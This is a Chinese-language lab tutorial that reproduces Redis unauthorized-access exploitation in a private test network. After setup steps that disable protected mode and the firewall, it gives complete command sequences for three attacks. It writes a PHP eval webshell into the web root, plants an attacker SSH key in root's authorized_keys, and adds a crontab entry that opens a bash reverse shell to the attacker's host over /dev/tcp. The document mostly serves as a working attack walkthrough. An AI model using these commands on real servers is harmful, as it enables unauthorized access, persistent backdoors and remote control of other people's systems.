文章目录
一、简介:
Redis 是一个高效的数据库,默认会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未经授权就可以访问 Redis 以及读取 Redis 的数据。
二、漏洞影响版本
Redis 2.x,3.x,4.x,5.x
三、漏洞危害
(1) 攻击者不需要认证就可以访问到内部数据,可能导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。
(2) 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件。
(3) 如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器
四、漏洞环境搭建
- 靶机:CentOS6
IP:192.168.224.130
- 攻击机:Kali
ip:192.168.224.129
- 测试连通性:
1. 靶机安装Redis
1.1 靶机下载redis-4.0.10
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
1.2 解压,进入源码目录,然后编译(make、make install)
tar -zxf redis-4.0.10.tar.gz #解压
cd redis-4.0.10 #进入解压的文件夹内
make
make install #编译
1.3 启动redis服务
1.3.1 启动redis服务
redis-server
启动成功,可以看到版本号,还有进程PID
1.3.2 查看redis服务
使用另外打开一个终端,输入命令:ps -ef | grep redis-server
可以看到redis服务已经启动,绑定的端口为6379
2. kali安装Redis客户端(Redis-cli)
2.1 下载redis-4.0.10
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
2.2 解压,编译
tar -xzf redis-4.0.10.tar.gz
cd /redis-4.0.10
make
make install
2.3 连接靶机测试redis客户端是否安装完成:
进入到src目录:cd src
然后连接靶机:./redis-cli -h 192.168.224.130
显示连接失败,判断是防火墙的问题,由于“懒”,没找到命令关闭防火墙,直接图形化界面关闭。其他的请自行百度。
手动关闭防火墙:
然后再次连接:./redis-cli -h 192.168.224.130
但是显示一大连串英文,拷贝,然后翻译一波,判断是因为redis的保护模式
默认redis需要设置管理员账号密码,开启了保护模式
所以如果第一次使用没有设置管理员,就会出现报错,关闭保护模式即可
关闭redis保护模式
1、进入redis安装目录(我的就在桌面)找到conf目录下的redis.conf文件
vi redis.conf 加#注释bind 127.0.0.1这一行
然后修改protected-mode 为protected-mode no
修改完成后,杀掉redis的进程:kill 【你的pid,redis启动界面有】
我的就是:kill 2939
然后重启redis:
src/redis-server redis.conf
要注意以上操作的路径。
kali连接,输入info查看版本信息,终于成功了:
五、漏洞复现
利用方式1
1:写入webshell
利用条件:目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等),还需要具有读写增删改查权限
分别使用以下命令:
config set dir /var/www/html
config set dbfilename haha.php
set webshell "<?php phpinfo(); ?>"
save
这时返回靶机,发现文件写入成功。
2. 写入一句话
依次执行一下命令:
config set dir /var/www/html
set xxx "\n\n\n<?php @eval($_POST['x']); ?>\n\n\n"
config set dbfilename webshell.php
save
这时靶机会创建一个webshell的一句话php文件
因为我的靶机没有搭建网站,所以就没办法连接测试了。
注:看教程中,在ubuntu环境测试,菜刀一直解析不到上传的木马。
利用方式2:通过写入SSH公钥实现SSH登录
原理就是在数据库中插入一条数据,将本机的公钥作为value.key值,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
- 首先在攻击机kali上生成公钥。
bashssh-keygen -t rsa
选项默认回车就可以。
- 将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)。
cd /root/.ssh
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
- 再把key.txt文件内容写入redis缓冲
…进入到redis-4.0.10/src目录下
bashcat /root/.ssh/key.txt |./redis-cli -h 192.168.224.130 -x set pub
- 设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys
分别输入一下命令:
./redis-cli -h 192.168.224.130
config set dir /root/.ssh
config set dbfilename authorized_keys
save
注意:
redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)
- 然后进行连接
ssh 192.168.224.130
利用方式3:在crontab里写定时任务,反弹shell
- 在攻击机开启监听模式:
nc -nvlp 5555
- 客户端(攻击机)使用redis-cli连接redis服务器,依次执行下列命令写入反弹shell。
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.224.129/5555 0>&1\n\n" # ip改为攻击机的IP
config set dir /var/spool/cron
config set dbfilename root
save
- 1分钟后,客户端(攻击机)接收到了服务器的反弹shell。
可以在靶机上面查看我们写入的计划任务。
参考:
https://www.cnblogs.com/yuzly/p/11663822.html
https://www.suibibk.com/topic/715696034407251968